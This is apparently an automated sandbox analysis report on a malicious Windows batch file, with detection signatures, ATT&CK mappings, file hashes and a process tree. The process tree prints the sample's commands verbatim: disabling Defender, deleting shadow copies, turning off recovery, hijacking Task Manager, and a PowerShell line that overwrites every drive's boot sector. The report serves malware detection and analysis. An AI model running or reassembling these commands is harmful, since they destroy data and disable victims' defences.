fe830d203725757f94e0d033178457cf16a79454b6a5290546b11a39c3bee3ce

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
30/04/2026, 21:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deepseek_batch_20260430_17ff89.bat
Size 17KB
Sample260430-1stdzsew4p
SHA256 fe830d203725757f94e0d033178457cf16a79454b6a5290546b11a39c3bee3ce
MD5 c6fa117808a563a3dc162a5abc57fdb6
SHA1 a91a8f209c50e9aaa791573eff46ca64c9d091c2
SHA512 f36e2ffe533dab1aab6c734bbc7d4c799682620a78f3fee39546583bb66d33688c217a3d35403d1ccbb6598cf920e88d3e6eea15bbbd140db4342c3d6e8eb23f
SSDEEP 384:fMNJzmaXZ/X6d5D1NEJ/9Ee+9EeI9EmYw9EhZ9ER59Edc9EH69aPWDjI351B2xfj:fDFvPXeiQF
TLSH
T1D282B9A2391A9D64810248720CAF76497A37A1AF59587CD4B0F79421EF1F34C23FBBD8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5800	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Windows\\System32\\notepad.exe"	reg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3960	sc.exe
2748	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5484	powershell.exe
992	powershell.exe

Delays execution with timeout.exe 4 IoCs

defense_evasion

pid	Process
5680	timeout.exe
3828	timeout.exe
5924	timeout.exe
3640	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4176	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
6100	taskkill.exe
920	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5484	powershell.exe
5484	powershell.exe
992	powershell.exe
992	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	6100	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeBackupPrivilege	5452	vssvc.exe
Token: SeRestorePrivilege	5452	vssvc.exe
Token: SeAuditPrivilege	5452	vssvc.exe
Token: SeDebugPrivilege	5484	powershell.exe
Token: SeDebugPrivilege	992	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5904 wrote to memory of 4788	5904	cmd.exe	80
PID 5904 wrote to memory of 6056	5904	cmd.exe	81
PID 6056 wrote to memory of 6096	6056	net.exe	82
PID 5904 wrote to memory of 5680	5904	cmd.exe	83
PID 5904 wrote to memory of 6100	5904	cmd.exe	84
PID 5904 wrote to memory of 920	5904	cmd.exe	86
PID 5904 wrote to memory of 3960	5904	cmd.exe	87
PID 5904 wrote to memory of 2748	5904	cmd.exe	88
PID 5904 wrote to memory of 5536	5904	cmd.exe	89
PID 5904 wrote to memory of 5800	5904	cmd.exe	90
PID 5904 wrote to memory of 3112	5904	cmd.exe	91
PID 5904 wrote to memory of 4176	5904	cmd.exe	92
PID 5904 wrote to memory of 3828	5904	cmd.exe	95
PID 5904 wrote to memory of 4064	5904	cmd.exe	96
PID 5904 wrote to memory of 5428	5904	cmd.exe	97
PID 5904 wrote to memory of 3160	5904	cmd.exe	98
PID 5904 wrote to memory of 2244	5904	cmd.exe	99
PID 5904 wrote to memory of 5484	5904	cmd.exe	100
PID 5904 wrote to memory of 5924	5904	cmd.exe	102
PID 5484 wrote to memory of 1872	5484	powershell.exe	103
PID 1872 wrote to memory of 6116	1872	csc.exe	104
PID 5904 wrote to memory of 992	5904	cmd.exe	105
PID 5904 wrote to memory of 3640	5904	cmd.exe	106
PID 5904 wrote to memory of 3912	5904	cmd.exe	107

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260430_17ff89.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5904
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:4788
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:6096
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5680
- C:\Windows\system32\taskkill.exe
  taskkill /f /im MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6100
- C:\Windows\system32\taskkill.exe
  taskkill /f /im NisSrv.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3960
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:5536
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5800
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3112
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4176
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3828
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4064
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:5428
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:3160
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\block.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A.tmp" "c:\Users\Admin\AppData\Local\Temp\vvb05lss\CSC184F9DFD25A4BAEBD3B33A375D12195.TMP"
      4⤵
      PID:6116
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$t='snowsday on top';$b=[Text.Encoding]::ASCII.GetBytes($t);for($d=0;$d -lt 10;$d++){try{$f=[IO.File]::Open('\\.\PhysicalDrive'+$d,[IO.FileMode]::Open,[IO.FileAccess]::ReadWrite);$s=[byte[]]::new(512);$r=New-Object Random;$r.NextBytes($s);for($i=0;$i -lt $b.Length;$i++){$s[$i]=$b[$i]};$s[510]=0x55;$s[511]=0xAA;$f.Write($s,0,512);$f.Close()}catch{}}"
  2⤵
  - Writes to the Master Boot Record (MBR)
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir /s /b "C:\Windows\Microsoft.NET\Framework\csc.exe" 2>nul
  2⤵
  PID:3912

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

RES2A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2A.tmp
Size 1KB
SHA256 263818b2d09c23e10616ed48e4d2a57f8d95e0f0b6a8eeb0dd428c2ec7dfc94a
MD5 a000d2883972cee1d927924490787b6e
SHA1 bdbb2d7a0f37ce18302e9fbdad804d4b77e4b1a2
SHA512 a9bd66ca0a3dcfbacc5271b58a01130aa39e6dfac71bf5b9e16f0ec043f29c4fde6e701143a18c0398c17ed99e6420ca819f67e66f703ab1384a735b358e75ac
TLSH
T14021890993E84B1EF4735B32B9F6176B9274FD94EFA2935BC540422C2851504EEF0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_j4sxzew0.d4z.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j4sxzew0.d4z.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

block.ps1

Path C:\Users\Admin\AppData\Local\Temp\block.ps1
Size 211B
SHA256 283a07d8ef78955fc55bd417d495655d1049d05d250abf2870182794abc94eea
MD5 afb4dcc52368282beb9a89ab838a00d1
SHA1 774f810eba59e4d35afa887bfb030bad97a72ccf
SHA512 846e0520984d5492094c7ea34ad987f17b115232da2ba4e262af0aafcdbc3252f0a33f3cd457947acd0ffa20c86499db949adb45cf43c9245530143da70f3377
TLSH
T128D02232AEB056B48033C406CCC0A8F4BC0641F23C4F4B02C573CF519A1F0AD238A606
MD5 SHA1 SHA512 TLSH

Submit Download

vvb05lss.dll

Path C:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.dll
Size 3KB
SHA256 ebff34485110f6e59442068a35b2c0d1bb433865ee318a606f40a91a17c1abe3
MD5 118419fe10952ca152e9b2fac3c62611
SHA1 225c35257e4d9bbabcab2c56ffdfb06a9f594b98
SHA512 0e6c21f5a86c6662d899caefcdf47d98a7ce8e2567c976103c562bbe74fd2cca3ca2496f5e400c06457f3e6dfcfb0fe568e829ca328a38aba288c2dc3ae0be85
TLSH
T19D51AA1A93E8456BE4B30B31AEF3435637E4FC509FB2532E598002299C643645EB1FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSC184F9DFD25A4BAEBD3B33A375D12195.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\CSC184F9DFD25A4BAEBD3B33A375D12195.TMP
Size 652B
SHA256 c3e618e2a261b92b38f4d6fd6de7ddde11ea2530bdd9a83bec1d464d08c07ece
MD5 e1cdbc62e571ada3fea27cbc77cb8cff
SHA1 6f126ae59cf645f8200d907b49022a78d9e53153
SHA512 ace558c93485278a0ef25e22e04d1eca4ab65170b1e1d49c3621c010285826a5b06f877ae847b166aadce4cadfc7cc3e36b4f896660e93c46dd53d6c2f040f59
TLSH
T1E7F05E0963F8020EF4F34F30BEF643A391A8BCA4DE7293ED544143292864510D9B2FB2
MD5 SHA1 SHA512 TLSH

Submit Download

vvb05lss.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.0.cs
Size 182B
SHA256 e3de965de9da39ddea9892f3092789ed9cbf56a71220d02275cc3eb3109af233
MD5 38d6048328d30f1dda4852c81f064008
SHA1 c620085397534ba11965d01d74ccd4138de12f68
SHA512 172c2bdae8266a017b1380105ea05985d3388938f8f8040ce3b6028ad0c98f00a1ca2727851c064d3f2fb2395f0ae1c740a4e24b1526aa03ddcb8a52ee212013
TLSH
T152C0122866F7AE24401348175D46E0E97F275257169E1E11FAE98600CF8B0441621E19
MD5 SHA1 SHA512 TLSH

Submit Download

vvb05lss.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\vvb05lss\vvb05lss.cmdline
Size 369B
SHA256 14151ed07130bf884e4642b3fe5519dac9e92529b52010a76856466f038e2da9
MD5 b64944e875f13e453366fa4487e7520b
SHA1 f4351a5ba92e3209fa7de4bb10e36b0e6c578900
SHA512 a82c77c6ee0379c1eb7d7afa18d74a50b6eea5611cbabf8d46969c85b5b5f5b5f10dca5d0cf0083484985601d46521a950c99d64b8b48199b60a7fad0e74bd9c
TLSH
T166E0C02AD246C67E02ED34172369C4BDC27307E72AC03F849048440DD0175006FD1742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/992-39-0x000001CEAD530000-0x000001CEAD53C000-memory.dmp

Download

memory/992-40-0x000001CEC5C40000-0x000001CEC5C52000-memory.dmp

Download

memory/1872-28-0x00000279C34B0000-0x00000279C34BC000-memory.dmp

Download

memory/5484-8-0x000001CFE8D30000-0x000001CFE8D52000-memory.dmp

Download

memory/5484-30-0x000001CFE8FC0000-0x000001CFE8FC8000-memory.dmp

Download

memory/5484-41-0x000001CFE8650000-0x000001CFE865C000-memory.dmp

Download

memory/5484-42-0x000001CFE8C60000-0x000001CFE8C72000-memory.dmp

Download

memory/6116-25-0x0000024A79570000-0x0000024A7957C000-memory.dmp

Download